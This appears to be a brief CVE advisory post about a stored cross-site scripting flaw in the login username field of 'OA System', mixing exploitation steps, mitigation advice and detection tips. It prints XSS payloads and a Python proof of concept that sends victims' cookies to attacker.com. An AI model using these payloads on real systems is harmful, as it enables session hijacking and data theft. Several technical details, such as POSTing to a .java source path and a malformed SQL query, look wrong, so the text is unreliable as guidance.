OA System, Cross-Site Scripting (XSS), CVE-2025-29691 (Critical)

Listen to this Post

How the CVE Works

CVE-2025-29691 is a stored XSS vulnerability in OA System versions before v2025.01.01. The flaw exists in the `userName` parameter of /login/LoginsController.java, where improper input sanitization allows attackers to inject malicious JavaScript or HTML payloads. When an admin views the compromised user profile, the payload executes in their browser session, enabling session hijacking, data theft, or privilege escalation. The attack requires no authentication, making it highly exploitable.

DailyCVE Form

Platform: OA System
Version: < v2025.01.01
Vulnerability: Stored XSS
Severity: Critical
Date: 05/29/2025

Prediction: Patch expected by 06/15/2025

What Undercode Say:

Exploitation:

1. Craft a malicious payload:

<script>alert(document.cookie)</script>

2. Inject via `userName` during registration/login:

POST /login/LoginsController.java HTTP/1.1
Host: target.com
userName=<script>exfiltrate()</script>

Mitigation:

1. Patch: Upgrade to v2025.01.01.

2. Sanitize inputs:

String safeUserName = ESAPI.encoder().encodeForHTML(userName);

3. CSP Header:

Content-Security-Policy: default-src 'self'

Detection:

grep -r "userName" /var/www/oa-system/login/

Log Analysis:

SELECT FROM access_log WHERE request LIKE "%userName=%3Cscript%";

Exploit Code (PoC):

import requests
payload = "<script>fetch('https://attacker.com/?cookie='+document.cookie)</script>"
requests.post("https://target.com/login", data={"userName": payload})

Post-Patch Verification:

curl -I https://target.com/login/LoginsController.java | grep "2025.01.01"

References:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top